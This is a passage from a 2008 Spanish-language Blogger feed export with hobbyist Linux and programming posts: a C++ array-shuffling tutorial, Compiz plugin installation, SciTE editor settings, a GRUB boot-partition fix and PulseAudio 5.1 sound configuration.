/&gt;¿Y a tí, te sirvió esta receta?&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-7158374537931276567?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/7158374537931276567/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=7158374537931276567&amp;isPopup=true' title='5 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/7158374537931276567'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/7158374537931276567'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2008/08/timidity-y-guitar-pro-5-en-gnulinux.html' title='Timidity y Guitar Pro 5 en Debian Lenny'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_oLUxtmo5LIU/SJPrNic8nMI/AAAAAAAAAD4/25f-ZFbWsm8/s72-c/winemenu.png' height='72' width='72'/><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-8664459531321277544</id><published>2008-07-31T07:30:00.000-07:00</published><updated>2008-12-18T13:07:20.079-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Código Fuente'/><category scheme='http://www.blogger.com/atom/ns#' term='C/C++'/><title type='text'>Algoritmo para desordenar un arreglo en C/C++</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;Imagina que deseas implementar un algoritmo en C++ donde necesites desordenar aleatoriamente un arreglo; por ejemplo: en un juego donde utilices un mazo de cartas y debas barajarlo. El siguiente código puede ayudarte en esa tarea:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;code&gt;int mazo_ordenado[44];&lt;br /&gt;int mazo_barajado[44];&lt;br /&gt;bool usado[44];&lt;br /&gt;&lt;br /&gt;for (int i=0; i &lt; 44; i++)&lt;br /&gt;    usado[i]=false;&lt;br /&gt;&lt;br /&gt;int index=0;&lt;br /&gt;for (int i=0; i &lt; 44; i++){&lt;br /&gt;    do{&lt;br /&gt;        index = (rand() % 44);&lt;br /&gt;    while (usado[index]);&lt;br /&gt;    mazo[i] = mazo_ordenado[index];&lt;br /&gt;    usado[index]=true;&lt;br /&gt;}&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Ahora, explicaré el código paso a paso. La intención es desordenar un arreglo de 44 elementos (puede ser de cualquier tamaño, solo basta reemplazar el 44 por el número de su elección). El arreglo &lt;em&gt;ordenado&lt;/em&gt; lo tenemos en la variable &lt;strong&gt;mazo_ordenado&lt;/strong&gt;. Luego creamos otros dos arreglo con la misma cantidad de elementos, uno llamado &lt;strong&gt;mazo_barajado&lt;/strong&gt; donde almacenaremos el arreglo &lt;em&gt;desordenado&lt;/em&gt; y otro llamado &lt;strong&gt;usado&lt;/strong&gt; en donde guardaremos el estado de cada elemento del mazo original.&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;code&gt;int mazo_ordenado[44];&lt;br /&gt;int mazo_barajado[44];&lt;br /&gt;bool usado[44];&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;La idea es recorrer en orden creciente el arreglo desordenado y depositar en cada uno de sus elementos un elemento aleatorio del arreglo ordenado. Con el arreglo de booleanos &lt;strong&gt;usado&lt;/strong&gt; llevaremos la cuenta de cuáles elementos del arreglo original se han usado y cuáles no (con la finalidad de no duplicar elementos), por eso debemos inicializar todos sus elementos en &lt;em&gt;false&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;code&gt;for (int i=0; i &lt; 44; i++)&lt;br /&gt;    usado[i]=false;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Usando la función &lt;strong&gt;rand()&lt;/strong&gt; generamos índices aleatorios para obtener los elementos del arreglo original; pero debemos comprobar el valor de &lt;strong&gt;usado[indice]&lt;/strong&gt; para saber si el elemento ha sido usado o no. Si el elemento ya está usado, el valor de &lt;strong&gt;usado[indice]&lt;/strong&gt; será &lt;em&gt;true&lt;/em&gt; y tendremos que generar otro índice hasta que consigamos uno no usado.&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;code&gt;do{&lt;br /&gt;    index = (rand() % 44);&lt;br /&gt;while (usado[index]);&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Si no hemos usado el elemento apuntado por &lt;em&gt;indice&lt;/em&gt;, el valor de &lt;strong&gt;usado[indice]&lt;/strong&gt; será &lt;em&gt;false&lt;/em&gt; y entonces procedemos a almacenar el elemento en el arreglo desordenado y cambiamos el valor de &lt;strong&gt;usado[indice]&lt;/strong&gt; a &lt;em&gt;true&lt;/em&gt;.&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;code&gt;mazo[i] = mazo_ordenado[index];&lt;br /&gt;usado[index]=true;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Esto debemos hacerlo para los 44 elementos del arreglo desordenado así que debe ir dentro de un &lt;em&gt;for&lt;/em&gt; y con la respectiva inicialización de la variables:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;code&gt;int index=0;&lt;br /&gt;for (int i=0; i &lt; 44; i++){&lt;br /&gt;    do{&lt;br /&gt;        index = (rand() % 44);&lt;br /&gt;    while (usado[index]);&lt;br /&gt;    mazo[i] = mazo_ordenado[index];&lt;br /&gt;    usado[index]=true;&lt;br /&gt;}&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;A la salida del &lt;em&gt;for&lt;/em&gt; tendremos un arreglo desordenado listo para usar :D.&lt;br /&gt;&lt;br /&gt;Prueben el código, agreguen unos cuantos &lt;em&gt;printf&lt;/em&gt; para imprimir los valores de los mazos antes y después del &lt;em&gt;for&lt;/em&gt; y comenten sus resultados. Si tienen alguna sugerencia o corrección posteenla también que será bien recibida. Espero que les haya sido de utilidad.&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-8664459531321277544?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/8664459531321277544/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=8664459531321277544&amp;isPopup=true' title='4 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/8664459531321277544'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/8664459531321277544'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2008/07/algoritmo-para-desordenar-un-arreglo-en.html' title='Algoritmo para desordenar un arreglo en C/C++'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-5297059120216818776</id><published>2008-07-30T20:24:00.000-07:00</published><updated>2008-12-18T12:59:07.500-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Instalaciones'/><category scheme='http://www.blogger.com/atom/ns#' term='GNU/Linux'/><title type='text'>Instalar plugin Atlantis para Compiz en Hardy Heron</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;&lt;div style="text-align: center;"&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/pTRsLW0eet0&amp;hl=en&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="wmode" value="transparent"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/pTRsLW0eet0&amp;hl=en&amp;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" wmode="transparent" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/div&gt;&lt;br /&gt;Este nuevo plugin de compiz permite poner tu escritorio como una pecera y es muy fácil de instalar.&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Descarga el plugin desde &lt;a href="http://gitweb.compiz-fusion.org/?p=fusion/plugins/atlantis;a=snapshot;h=d3e913e8fd1da7ad77beedc364cdea582a6f730e;sf=tgz"&gt;aquí&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Instala las depencias:&lt;br /&gt;&lt;code&gt;$ sudo apt-get install compiz-dev compiz-bcop libtool&lt;/code&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Compila e instala el plugin&lt;br /&gt;&lt;code&gt;$ make clean&lt;br /&gt;$ make&lt;br /&gt;$ make install&lt;/code&gt;&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;Ahora puedes ir al menú &lt;em&gt;Sistema-&gt;Preferencias-&gt;Configuración avanzada de los efectos de escritorio&lt;/em&gt; para activar y configurar tu nuevo y flamante plugin &lt;strong&gt;Cube Atlantis&lt;/strong&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-5297059120216818776?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/5297059120216818776/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=5297059120216818776&amp;isPopup=true' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/5297059120216818776'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/5297059120216818776'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2008/07/instalar-plugin-atlantis-para-compiz-en.html' title='Instalar plugin Atlantis para Compiz en Hardy Heron'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-2939843132525409801</id><published>2008-07-27T06:40:00.000-07:00</published><updated>2008-12-18T12:56:51.497-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Editores'/><title type='text'>SciTE: Mi editor de texto favorito</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_oLUxtmo5LIU/SIymqxVYwvI/AAAAAAAAADw/VZcRCWUdhIw/s1600-h/scite.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://2.bp.blogspot.com/_oLUxtmo5LIU/SIymqxVYwvI/AAAAAAAAADw/VZcRCWUdhIw/s320/scite.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5227736521198060274" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.scintilla.org/SciTE.html"&gt;SciTE&lt;/a&gt; es un excelente editor de texto que fue desarrollado en un principio para demostrar el poder de &lt;a href="https://sourceforge.net/projects/scintilla/"&gt;Scintilla&lt;/a&gt; (un componente/librería para la edición de texto). Sin embargo ha crecido tanto que ha llegado a opacar un poco a la propia librería.&lt;br /&gt;&lt;br /&gt;¿Y qué tiene de grandioso el SciTE? se preguntarán. Pues quizás no sea nada del otro mundo, pero es que su sencillez, su funcionalidad y su alto grado de personalización lo hacen (al menos para mi) el editor de texto perfecto. Al momento de escribir este post SciTE está disponible en las arquitecturas de 32 bits para sistemas GNU/Linux y Windows.&lt;br /&gt;&lt;br /&gt;En la lista que sigue trataré de describir las funcionalidades básicas del SciTE:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Edición de Texto:&lt;/strong&gt; Estándar y con resaltado de sintaxis. Soporta gran cantidad de lenguajes de programación y puede expandirse para lenguajes que aún no estén soportados&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;strong&gt;Subsistema de comandos:&lt;/strong&gt; Permite ejecutar herramientas (compiladores, interpretes, etc) dentro de la misma interfaz del SciTE&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;strong&gt;Pestañas:&lt;/strong&gt; Permite abrir entre 1-100 documentos al mismo tiempo, visualizando uno a la vez y los demás en memoria. Además se puede guardar el estado de las pestañas en archivos de sesiones y recuperarlas cuando se desee&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;strong&gt;Atajos de teclado:&lt;/strong&gt; Facilitan la interacción entre el usuario y el editor (siguen las convenciones más comunes de GNU/Linux y Windows)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;strong&gt;Abreviaturas:&lt;/strong&gt; Una función poderosa constituida por pares &lt;em&gt;abrev = texto&lt;/em&gt; definidos por el usuario. Al escribir &lt;em&gt;abrev&lt;/em&gt; en el editor y presionar Ctrl+B, se reemplaza &lt;em&gt;abrev&lt;/em&gt; por &lt;em&gt;texto&lt;/em&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;strong&gt;Plegado:&lt;/strong&gt; Una de mis funciones favoritas. Permite plegar o expandir fragmentos de código basados en identación (en el caso de Python) o en llaves de apertura y cierre (en el caso de otros lenguajes). Muestra símbolos al margen izquierdo del editor para expandir o contraer los fragmentos&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;strong&gt;Archivos de propiedades:&lt;/strong&gt; Permiten definir el comportamiento y la configuración general del editor&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Luego de mencionar algunas de las características del SciTE veamos como personalizarlo. SciTE posee 4 tipos de archivos de configuración:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;"SciTE.properties" (propiedades locales)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;"SciTEDirectory.properties" (propiedades de directorio)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;".SciTEUser.properties" en GNU/Linux o "SciTEUser.properties" en Windows (propiedades de usuario)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;"SciTEGlobal.properties" (propiedades globales)&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;El archivo de propiedades locales debe estar presente en el mismo directorio donde se encuentra el archivo que estamos editando. &lt;br /&gt;&lt;br /&gt;El archivo de propiedades de directorio se usa para definir el comportamiento del editor (o de sus herramientas) sobre todos los archivos contenidos dentro de un directorio. &lt;br /&gt;&lt;br /&gt;El archivo de propiedades de usuario define el comportamiento del editor para cada usuario del equipo y se encuentra en el directorio &lt;em&gt;home&lt;/em&gt; del usuario en los sistemas GNU/Linux o en el directorio de perfil de usuario definido en la variable USERPROFILE de Windows (si la variable USERPROFILE no está definida se ubica en el directorio del ejecutable)&lt;br /&gt;&lt;br /&gt;El archivo de propiedades globales define el comportamiento por defecto del editor y se encuentra en &lt;em&gt;/usr/share/scite&lt;/em&gt; para los sistemas GNU/Linux y en el directorio del ejecutable para Windows.&lt;br /&gt;&lt;br /&gt;Las propiedades locales anulan a las propiedades de usuario que a su vez anulan a las propiedades globales. &lt;br /&gt;&lt;br /&gt;Ahora voy a comentar la configuración que he realizado del SciTE usando el archivo de propiedades de usuario (".SciTEUser.properties" en mi caso):&lt;br /&gt;&lt;br /&gt;&lt;code&gt;# Se define el ancho de una tabulación equivalente a 4 espacios en blanco, se&lt;br /&gt;# establece el ancho de la identación a 4 caracteres y se indica que se usarán&lt;br /&gt;# espacios en lugar de tabulaciones para la identación&lt;br /&gt;tabsize=4&lt;br /&gt;indent.size=4&lt;br /&gt;use.tabs=0&lt;br /&gt;&lt;br /&gt;# Define la cantidad de pestañas simultáneas&lt;br /&gt;buffers=15&lt;br /&gt;&lt;br /&gt;# Permite visualizar una línea en el borde derecho del editor con un ancho de&lt;br /&gt;# 100 caracteres y de color #C0DCC0&lt;br /&gt;edge.column=100&lt;br /&gt;edge.mode=1&lt;br /&gt;edge.colour=#C0DCC0&lt;br /&gt;&lt;br /&gt;# Muestra una lista de autocompletado cuando se escriben palabras que ya se&lt;br /&gt;# encuentran dentro del texto&lt;br /&gt;autocompleteword.automatic=1&lt;br /&gt;&lt;br /&gt;# Visualiza el número de línea en el márgen izquierdo&lt;br /&gt;line.margin.visible=1&lt;/code&gt;&lt;br /&gt;Para una descripción detallada de cada una de las propiedades del SciTE visite la página de &lt;a href="http://scintilla.sourceforge.net/SciTEDoc.html"&gt;documentación oficial&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;em&gt;Actualización: 13/11/2008&lt;/em&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Acá les dejo mi archivo personal de configuración del SciTE; allí, además de lo mencionado arriba, configuro el editor para que use fuentes monospace y uno que otro truquillo :D&lt;br /&gt;&lt;br /&gt;&lt;code&gt;# Se define el ancho de una tabulación equivalente a 4 espacios en blanco, se&lt;br /&gt;# establece el ancho de la identación a 4 caracteres y se indica que se usarán&lt;br /&gt;# espacios en lugar de tabulaciones para la identación&lt;br /&gt;tabsize=4&lt;br /&gt;indent.size=4&lt;br /&gt;use.tabs=0&lt;br /&gt;&lt;br /&gt;# Define la cantidad de pestañas simultáneas&lt;br /&gt;buffers=15&lt;br /&gt;&lt;br /&gt;# Permite visualizar una línea en el borde derecho del editor con un ancho de&lt;br /&gt;# 100 caracteres y de color #C0DCC0&lt;br /&gt;edge.column=80&lt;br /&gt;edge.mode=1&lt;br /&gt;edge.colour=#C0DCC0&lt;br /&gt;&lt;br /&gt;# Muestra una lista de autocompletado cuando se escriben palabras que ya se&lt;br /&gt;# encuentran dentro del texto&lt;br /&gt;autocompleteword.automatic=1&lt;br /&gt;&lt;br /&gt;# Visualiza el número de línea en el márgen izquierdo&lt;br /&gt;line.margin.visible=1&lt;br /&gt;&lt;br /&gt;# Default&lt;br /&gt;style.*.32=$(font.monospace)&lt;br /&gt;style.cpp.32=$(font.monospace)&lt;br /&gt;style.python.32=$(font.monospace)&lt;br /&gt;# Line number&lt;br /&gt;#style.*.33=back:#C0C0C0,$(fontmonospace)&lt;br /&gt;# Brace highlight&lt;br /&gt;#style.*.34=fore:#0000FF,bold&lt;br /&gt;# Brace incomplete highlight&lt;br /&gt;#style.*.35=fore:#FF0000,bold&lt;br /&gt;# Control characters&lt;br /&gt;#style.*.36=&lt;br /&gt;# Indentation guides&lt;br /&gt;#style.*.37=fore:#C0C0C0,back:#FFFFFF&lt;br /&gt;&lt;br /&gt;font.base=font:!Bitstream Vera Sans Mono,size:9&lt;br /&gt;font.small=font:!Bitstream Vera Sans Mono,size:8&lt;br /&gt;font.comment=font:!Bitstream Vera Sans Mono,size:9&lt;br /&gt;font.code.comment.box=$(font.comment)&lt;br /&gt;font.code.comment.line=$(font.comment)&lt;br /&gt;font.code.comment.doc=$(font.comment)&lt;br /&gt;font.code.comment.nested=$(font.comment)&lt;br /&gt;font.text=font:!Bitstream Charter Mono,size:9&lt;br /&gt;font.text.comment=font:!Bitstream Vera Sans Mono,size:9&lt;br /&gt;font.embedded.base=font:!Bitstream Vera Sans Mono,size:9&lt;br /&gt;font.embedded.comment=font:!Bitstream Vera Sans Mono,size:9&lt;br /&gt;font.monospace=font:!Bitstream Vera Sans Mono,size:9&lt;br /&gt;font.vbs=font:!Bitstream Vera Sans Mono,size:9&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Los invito a que lo prueben y digan que les parece... para mi es el mejor y ¿para ti?&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-2939843132525409801?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/2939843132525409801/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=2939843132525409801&amp;isPopup=true' title='7 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/2939843132525409801'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/2939843132525409801'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2008/07/scite-mi-editor-de-texto-favorito.html' title='SciTE: Mi editor de texto favorito'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_oLUxtmo5LIU/SIymqxVYwvI/AAAAAAAAADw/VZcRCWUdhIw/s72-c/scite.png' height='72' width='72'/><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-1950560378090512757</id><published>2008-07-23T22:51:00.000-07:00</published><updated>2008-07-23T23:09:23.341-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='GNU/Linux'/><title type='text'>Problemas instalando GRUB en Debian Lenny</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;Estuve instalando Debian Lenny en un pentium II ~ 300MHz con 128MB de memoria RAM y par de discos de 4.3GB cada uno y resulta que cada vez que llegaba al paso de &lt;em&gt;Configurar gestor de arranque GRUB&lt;/em&gt; me saltaba el error &lt;strong&gt;Grub package failed to install into /target/&lt;/strong&gt; y no podía terminar la instalación.&lt;br /&gt;&lt;br /&gt;Al principio pensaba que se trataba de algún daño en los discos, intenté instalar Debian con distintas opciones de HW, probando cada disco por separado, usando diferentes sistemas de archivos y nada.&lt;br /&gt;&lt;br /&gt;Me puse a buscar en google y me topé con esta excelente &lt;a href="http://linux.about.com/library/bl/dist/redhat/bldist_redhat_e1.htm"&gt;guía de instalación&lt;/a&gt; de Red Hat y allí encontré la respuesta. Resulta que los BIOS de las máquinas viejas no pueden acceder más allá del cilindro 1024 de los discos duros y esto equivale aproximadamente a 528MB (la cifra exacta depende del BIOS y del disco duro). &lt;br /&gt;&lt;br /&gt;¿Pero que significa esto? Pues muy sencillo, que al momento de crear la tabla de particiones del disco debemos reservar un espacio en los primeros 1024 cilindros del disco duro (&lt;= 528MB) para la partición /boot y así permitir que la data del GRUB e incluso el kernel Linux se ubiquen en esa zona. Con esto nos aseguramos de que el BIOS puede acceder a la data y bootear correctamente.&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-1950560378090512757?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/1950560378090512757/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=1950560378090512757&amp;isPopup=true' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/1950560378090512757'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/1950560378090512757'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2008/07/problemas-instalando-grub-en-debian.html' title='Problemas instalando GRUB en Debian Lenny'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-8426763537145620202</id><published>2008-07-22T08:35:00.000-07:00</published><updated>2008-12-08T15:03:32.469-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Configuraciones'/><category scheme='http://www.blogger.com/atom/ns#' term='GNU/Linux'/><title type='text'>Configurar sonido 5.1 en Ubuntu Hardy Heron</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;Desde hace algún tiempo tenía este tópico pendiente y hoy me decidí a resolverlo y publicar mis resultados. Trataré de explicar paso a paso lo que hice para lograr el tan anhelado sonido 5.1 en Ubuntu Hardy Heron.&lt;br /&gt;&lt;br /&gt;Ubuntu Hardy Heron ya incluye &lt;a href="http://www.pulseaudio.org/wiki"&gt;PulseAudio&lt;/a&gt; así que no hace falta instalarlo (para ver una lista de todas las distribuciones haga clic &lt;a href="http://www.pulseaudio.org/wiki/AboutPulseAudio#Distributions"&gt;aquí&lt;/a&gt;), sin embargo a simple vista no es posible notar su presencia porque no se incluyen las herramientas auxiliares. Lo que haremos será usar PulseAudio como reemplazo del ESD y configurar ALSA para que use PulseAudio.&lt;br /&gt;&lt;br /&gt;La configuración de ALSA se guarda en un par de archivos ocultos en nuestro directorio home, ellos son &lt;strong&gt;.asoundrc&lt;/strong&gt; y &lt;strong&gt;.asoundrc.asoundconf&lt;/strong&gt;. Si estos archivos existen debemos borrarlos/renombrarlos a fin de evitar cualquier error por una configuración residual. Para lograr esto escribimos en el terminal:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ cd ~&lt;br /&gt;$ mv .asoundrc .asoundrc_old&lt;br /&gt;$ mv .asoundrc.asoundconf .asoundrc.asoundconf_old&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Las instrucciones anteriores nos posicionan en nuestro home y renombran los archivos .asoundrc y .asoundrc.asoundconf a .asoundrc_old y .asoundrc.asoundconf_old respectivamente. La instrucción cd ~ puede reemplazarse por cd /home/mi_directorio.&lt;br /&gt;&lt;br /&gt;Ahora hacemos que ALSA genere estos archivos automáticamente. Primero listamos el nombre de nuestra tarjeta de sonido:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ asoundconf list&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Y el nombre que nos muestre el comando anterior lo usaremos en:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ asoundconf set-default-card &lt;strong&gt;nombre_de_la_tarjeta&lt;/strong&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Posteriormente procedemos a editar el archivo de configuración del PulseAudio:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ sudo gedit /etc/pulse/daemon.conf&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Allí ubicaremos la siguiente línea:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;;default-sample-channels = 2&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;y la reemplazaremos por:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;default-sample-channels = 6&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Lo que hacemos es quitar el ; para que la línea sea tomada en cuenta y cambiamos la cantidad de canales de 2 a 6.&lt;br /&gt;&lt;br /&gt;Ahora hay que asegurarse que PulseAudio no intentará abrir el dispositivo por "defecto" para su propia salida de audio. Para ello abrimos el archivo:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ sudo gedit /etc/pulse/default.pa&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Y buscamos el siguiente fragmento de texto:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;### Automatically load driver modules depending on the hardware available&lt;br /&gt;.ifexists module-hal-detect.so&lt;br /&gt;load-module module-hal-detect&lt;br /&gt;.else&lt;br /&gt;### Alternatively use the static hardware detection module (for systems that&lt;br /&gt;### lack HAL support)&lt;br /&gt;load-module module-detect&lt;br /&gt;.endif&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Debemos comentar todas estas líneas, para dejarlo así:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;### Automatically load driver modules depending on the hardware available&lt;br /&gt;#.ifexists module-hal-detect.so&lt;br /&gt;#load-module module-hal-detect&lt;br /&gt;#.else&lt;br /&gt;### Alternatively use the static hardware detection module (for systems that&lt;br /&gt;### lack HAL support)&lt;br /&gt;#load-module module-detect&lt;br /&gt;#.endif&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;E inmediatamente después de ese fragmento de texto agregamos la línea:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;load-module module-alsa-sink device=hw:0&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Una cosa importante que se debe aclarar es que PulseAudio crea sus propios grupos y todos los usuarios que quieran usar este servidor de sonidos deben pertenecer a ellos. Para que el usuario pertenezca a estos grupos ejecutamos las siguientes instrucciones:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ sudo adduser 